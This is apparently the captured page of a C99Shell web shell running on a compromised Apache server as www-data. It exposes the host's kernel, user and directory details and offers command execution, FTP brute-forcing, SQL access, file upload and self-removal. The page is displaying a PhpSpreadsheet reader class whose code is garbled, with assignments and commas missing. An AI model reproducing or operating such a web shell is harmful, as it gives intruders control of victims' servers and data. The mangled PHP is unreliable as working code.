!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/   drwxr-xr-x
Free 13.32 GB of 57.97 GB (22.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SheetViewOptions.php (4.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx;

use 
PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
use 
SimpleXMLElement;

class 
SheetViewOptions extends BaseParserClass
{
    private 
$worksheet;

    private 
$worksheetXml;

    public function 
__construct(Worksheet $workSheet, ?SimpleXMLElement $worksheetXml null)
    {
        
$this->worksheet $workSheet;
        
$this->worksheetXml $worksheetXml;
    }

    
/**
     * @param bool $readDataOnly
     */
    
public function load($readDataOnly false): void
    
{
        if (
$this->worksheetXml === null) {
            return;
        }

        if (isset(
$this->worksheetXml->sheetPr)) {
            
$this->tabColor($this->worksheetXml->sheetPr);
            
$this->codeName($this->worksheetXml->sheetPr);
            
$this->outlines($this->worksheetXml->sheetPr);
            
$this->pageSetup($this->worksheetXml->sheetPr);
        }

        if (isset(
$this->worksheetXml->sheetFormatPr)) {
            
$this->sheetFormat($this->worksheetXml->sheetFormatPr);
        }

        if (!
$readDataOnly && isset($this->worksheetXml->printOptions)) {
            
$this->printOptions($this->worksheetXml->printOptions);
        }
    }

    private function 
tabColor(SimpleXMLElement $sheetPr): void
    
{
        if (isset(
$sheetPr->tabColor$sheetPr->tabColor['rgb'])) {
            
$this->worksheet->getTabColor()->setARGB((string) $sheetPr->tabColor['rgb']);
        }
    }

    private function 
codeName(SimpleXMLElement $sheetPr): void
    
{
        if (isset(
$sheetPr['codeName'])) {
            
$this->worksheet->setCodeName((string) $sheetPr['codeName'], false);
        }
    }

    private function 
outlines(SimpleXMLElement $sheetPr): void
    
{
        if (isset(
$sheetPr->outlinePr)) {
            if (
                isset(
$sheetPr->outlinePr['summaryRight']) &&
                !
self::boolean((string) $sheetPr->outlinePr['summaryRight'])
            ) {
                
$this->worksheet->setShowSummaryRight(false);
            } else {
                
$this->worksheet->setShowSummaryRight(true);
            }

            if (
                isset(
$sheetPr->outlinePr['summaryBelow']) &&
                !
self::boolean((string) $sheetPr->outlinePr['summaryBelow'])
            ) {
                
$this->worksheet->setShowSummaryBelow(false);
            } else {
                
$this->worksheet->setShowSummaryBelow(true);
            }
        }
    }

    private function 
pageSetup(SimpleXMLElement $sheetPr): void
    
{
        if (isset(
$sheetPr->pageSetUpPr)) {
            if (
                isset(
$sheetPr->pageSetUpPr['fitToPage']) &&
                !
self::boolean((string) $sheetPr->pageSetUpPr['fitToPage'])
            ) {
                
$this->worksheet->getPageSetup()->setFitToPage(false);
            } else {
                
$this->worksheet->getPageSetup()->setFitToPage(true);
            }
        }
    }

    private function 
sheetFormat(SimpleXMLElement $sheetFormatPr): void
    
{
        if (
            isset(
$sheetFormatPr['customHeight']) &&
            
self::boolean((string) $sheetFormatPr['customHeight']) &&
            isset(
$sheetFormatPr['defaultRowHeight'])
        ) {
            
$this->worksheet->getDefaultRowDimension()
                ->
setRowHeight((float) $sheetFormatPr['defaultRowHeight']);
        }

        if (isset(
$sheetFormatPr['defaultColWidth'])) {
            
$this->worksheet->getDefaultColumnDimension()
                ->
setWidth((float) $sheetFormatPr['defaultColWidth']);
        }

        if (
            isset(
$sheetFormatPr['zeroHeight']) &&
            ((string) 
$sheetFormatPr['zeroHeight'] === '1')
        ) {
            
$this->worksheet->getDefaultRowDimension()->setZeroHeight(true);
        }
    }

    private function 
printOptions(SimpleXMLElement $printOptions): void
    
{
        if (
self::boolean((string) $printOptions['gridLinesSet'])) {
            
$this->worksheet->setShowGridlines(true);
        }
        if (
self::boolean((string) $printOptions['gridLines'])) {
            
$this->worksheet->setPrintGridlines(true);
        }
        if (
self::boolean((string) $printOptions['horizontalCentered'])) {
            
$this->worksheet->getPageSetup()->setHorizontalCentered(true);
        }
        if (
self::boolean((string) $printOptions['verticalCentered'])) {
            
$this->worksheet->getPageSetup()->setVerticalCentered(true);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--